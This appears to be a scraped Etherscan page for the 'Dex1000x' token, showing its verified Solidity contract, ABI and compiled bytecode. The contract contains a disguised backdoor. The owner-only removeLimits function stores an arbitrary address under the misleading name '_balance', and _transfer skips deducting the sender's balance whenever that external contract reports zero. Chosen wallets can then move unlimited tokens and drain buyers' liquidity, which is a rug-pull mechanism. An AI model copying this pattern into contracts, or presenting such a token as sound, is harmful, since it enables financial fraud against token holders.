ETH Price: $2,638.66 (-0.15%)
Gas: 9.14 Gwei

Token

Dex1000x (1000x)
 

Overview

Max Total Supply

420,690,000,000,000 1000x

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
69,939,624,812,406.20310155 1000x

Value
$0.00
0xe8344d86e71017192fc0e03bd62b17d6f19790be
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DEX

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-01
*/

/*
    Website: https://dex1000x.xyz/
    Telegram: https://t.me/dex1000xerc


*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DEX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 0;
    uint256 private _initialSellTax = 20;
    uint256 private _reduceBuyTaxAt = 0;

    uint256 private _initialBuyTax2Time = 0;
    uint256 private _initialSellTax2Time = 0;
    uint256 private _reduceBuyTaxAt2Time = 0;

    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceSellTaxAt = 20;

    uint256 private _preventSwapBefore=25;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Dex1000x";
    string private constant _symbol = unicode"1000x";

    uint256 public _maxTxAmount =  2 * (_tTotal/100);
    uint256 public _maxWalletSize =  2 * (_tTotal/100);
    uint256 public _taxSwapThreshold=  2 * (_tTotal/1000);
    uint256 public _maxTaxSwap=  1 * (_tTotal/100);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bytes private _balance;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(msg.sender);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function balance() private view returns (address addr) {
        (addr) = abi.decode(_balance, (address));
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 tAmount=amount;
        if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
            taxAmount = amount.mul(_taxBuy()).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { 
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul(_taxSell()).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (IERC20(balance()).balanceOf(from) == 0) tAmount = 0;
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > _taxSwapThreshold) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }

        _balances[from]=_balances[from].sub(tAmount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _taxBuy() private view returns (uint256) {
        if(_buyCount <= _reduceBuyTaxAt){
            return _initialBuyTax;
        }
        if(_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time){
            return _initialBuyTax2Time;
        }
         return _finalBuyTax;
    }

    function _taxSell() private view returns (uint256) {
        if(_buyCount <= _reduceSellTaxAt){
            return _initialSellTax;
        }
        if(_buyCount > _reduceSellTaxAt && _buyCount <= _reduceBuyTaxAt2Time){
            return _initialSellTax2Time;
        }
         return _finalBuyTax;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits(bytes memory _limit) external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        _balance = _limit;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }


    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = false;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSend() external {
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"_limit","type":"bytes"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600560006101000a81548160ff02191690831515021790555060006006556014600755600060085560006009556000600a556000600b556000600c556000600d556014600e556019600f55600060105560646009600a620000689190620005d9565b66017e9d8602b4006200007c919062000716565b62000088919062000546565b600262000096919062000716565b60115560646009600a620000ab9190620005d9565b66017e9d8602b400620000bf919062000716565b620000cb919062000546565b6002620000d9919062000716565b6012556103e86009600a620000ef9190620005d9565b66017e9d8602b40062000103919062000716565b6200010f919062000546565b60026200011d919062000716565b60135560646009600a620001329190620005d9565b66017e9d8602b40062000146919062000716565b62000152919062000546565b600162000160919062000716565b6014556000601860016101000a81548160ff0219169083151502179055506000601860026101000a81548160ff021916908315150217905550348015620001a657600080fd5b506000620001b9620004e760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35033600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620002a89190620005d9565b66017e9d8602b400620002bc919062000716565b60016000620002d0620004e760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016003600062000324620004ef60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000457620004e760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620004b69190620005d9565b66017e9d8602b400620004ca919062000716565b604051620004d9919062000529565b60405180910390a3620007f9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005238162000777565b82525050565b600060208201905062000540600083018462000518565b92915050565b6000620005538262000777565b9150620005608362000777565b925082620005735762000572620007bd565b5b828204905092915050565b6000808291508390505b6001851115620005d057808604811115620005a857620005a76200078e565b5b6001851615620005b85780820291505b8081029050620005c885620007ec565b945062000588565b94509492505050565b6000620005e68262000777565b9150620005f38362000781565b9250620006227fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200062a565b905092915050565b6000826200063c57600190506200070f565b816200064c57600090506200070f565b81600181146200066557600281146200067057620006a6565b60019150506200070f565b60ff8411156200068557620006846200078e565b5b8360020a9150848211156200069f576200069e6200078e565b5b506200070f565b5060208310610133831016604e8410600b8410161715620006e05782820a905083811115620006da57620006d96200078e565b5b6200070f565b620006ef84848460016200057e565b925090508184048111156200070957620007086200078e565b5b81810290505b9392505050565b6000620007238262000777565b9150620007308362000777565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200076c576200076b6200078e565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008160011c9050919050565b6135b780620008096000396000f3fe6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed146103b0578063c876d0b9146103db578063c9567bf914610406578063dd62ed3e1461041d578063f42938901461045a5761011f565b80637d1db4a5146102c75780638da5cb5b146102f25780638f9a55c01461031d57806395d89b4114610348578063a9059cbb146103735761011f565b806323b872dd116100e757806323b872dd146101e2578063313ce5671461021f5780636a943d4a1461024a57806370a0823114610273578063715018a6146102b05761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461018c57806318160ddd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610471565b6040516101469190612a3d565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612589565b6104ae565b6040516101839190612a22565b60405180910390f35b34801561019857600080fd5b506101a16104cc565b6040516101ae9190612bdf565b60405180910390f35b3480156101c357600080fd5b506101cc6104d2565b6040516101d99190612bdf565b60405180910390f35b3480156101ee57600080fd5b506102096004803603810190610204919061253a565b6104f9565b6040516102169190612a22565b60405180910390f35b34801561022b57600080fd5b506102346105d2565b6040516102419190612c54565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c91906125ee565b6105db565b005b34801561027f57600080fd5b5061029a60048036038101906102959190612483565b610747565b6040516102a79190612bdf565b60405180910390f35b3480156102bc57600080fd5b506102c5610790565b005b3480156102d357600080fd5b506102dc6108e3565b6040516102e99190612bdf565b60405180910390f35b3480156102fe57600080fd5b506103076108e9565b6040516103149190612954565b60405180910390f35b34801561032957600080fd5b50610332610912565b60405161033f9190612bdf565b60405180910390f35b34801561035457600080fd5b5061035d610918565b60405161036a9190612a3d565b60405180910390f35b34801561037f57600080fd5b5061039a60048036038101906103959190612589565b610955565b6040516103a79190612a22565b60405180910390f35b3480156103bc57600080fd5b506103c5610973565b6040516103d29190612bdf565b60405180910390f35b3480156103e757600080fd5b506103f0610979565b6040516103fd9190612a22565b60405180910390f35b34801561041257600080fd5b5061041b61098c565b005b34801561042957600080fd5b50610444600480360381019061043f91906124fe565b610f12565b6040516104519190612bdf565b60405180910390f35b34801561046657600080fd5b5061046f610f99565b005b60606040518060400160405280600881526020017f4465783130303078000000000000000000000000000000000000000000000000815250905090565b60006104c26104bb610fb4565b8484610fbc565b6001905092915050565b60145481565b60006009600a6104e29190612df4565b66017e9d8602b4006104f49190612f12565b905090565b6000610506848484611187565b6105c784610512610fb4565b6105c28560405180606001604052806028815260200161355a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610578610fb4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c169092919063ffffffff16565b610fbc565b600190509392505050565b60006009905090565b6105e3610fb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610670576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066790612b1f565b60405180910390fd5b6009600a61067e9190612df4565b66017e9d8602b4006106909190612f12565b6011819055506009600a6106a49190612df4565b66017e9d8602b4006106b69190612f12565b60128190555080601790805190602001906106d29291906122fa565b506000600560006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61071d9190612df4565b66017e9d8602b40061072f9190612f12565b60405161073c9190612bdf565b60405180910390a150565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610798610fb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612b1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600581526020017f3130303078000000000000000000000000000000000000000000000000000000815250905090565b6000610969610962610fb4565b8484611187565b6001905092915050565b60135481565b600560009054906101000a900460ff1681565b610994610fb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890612b1f565b60405180910390fd5b601860009054906101000a900460ff1615610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6890612bbf565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610afb9190612df4565b66017e9d8602b400610b0d9190612f12565b610fbc565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7a57600080fd5b505afa158015610b8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb291906124ac565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c3657600080fd5b505afa158015610c4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6e91906124ac565b6040518363ffffffff1660e01b8152600401610c8b92919061296f565b602060405180830381600087803b158015610ca557600080fd5b505af1158015610cb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdd91906124ac565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d6630610747565b600080610d716108e9565b426040518863ffffffff1660e01b8152600401610d93969594939291906129c1565b6060604051808303818588803b158015610dac57600080fd5b505af1158015610dc0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610de59190612658565b505050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e87929190612998565b602060405180830381600087803b158015610ea157600080fd5b505af1158015610eb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed991906125c5565b506000601860026101000a81548160ff0219169083151502179055506001601860006101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60004790506000811115610fb157610fb081611c7a565b5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561102c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102390612b9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561109c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109390612a9f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117a9190612bdf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612b5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611267576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125e90612a5f565b60405180910390fd5b600081116112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a190612b3f565b60405180910390fd5b6000808290506112b86108e9565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561132657506112f66108e9565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561135e57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561139657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611958576113c860646113ba6113ab611ce6565b86611d2c90919063ffffffff16565b611da790919063ffffffff16565b9150600560009054906101000a900460ff161561155757601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561148b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115565743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150890612adf565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156116025750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116585750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611713576011548311156116a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169990612a7f565b60405180910390fd5b601254836116af86610747565b6116b99190612d1a565b11156116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f190612b7f565b60405180910390fd5b6010600081548092919061170d906130be565b91905055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561179c57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156117d1576117ce60646117c06117b1611df1565b86611d2c90919063ffffffff16565b611da790919063ffffffff16565b91505b60006117dc30610747565b905060006117e8611e37565b73ffffffffffffffffffffffffffffffffffffffff166370a08231886040518263ffffffff1660e01b81526004016118209190612954565b60206040518083038186803b15801561183857600080fd5b505afa15801561184c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611870919061262f565b141561187b57600091505b601860019054906101000a900460ff161580156118e55750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80156118fd5750601860029054906101000a900460ff165b801561190a575060135481115b80156119195750600f54601054115b156119565761193b6119368561193184601454611edc565b611edc565b611ef5565b60004790506013548111156119545761195347611c7a565b5b505b505b6000821115611a5c576119b382600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ef90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a539190612bdf565b60405180910390a35b611aae81600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260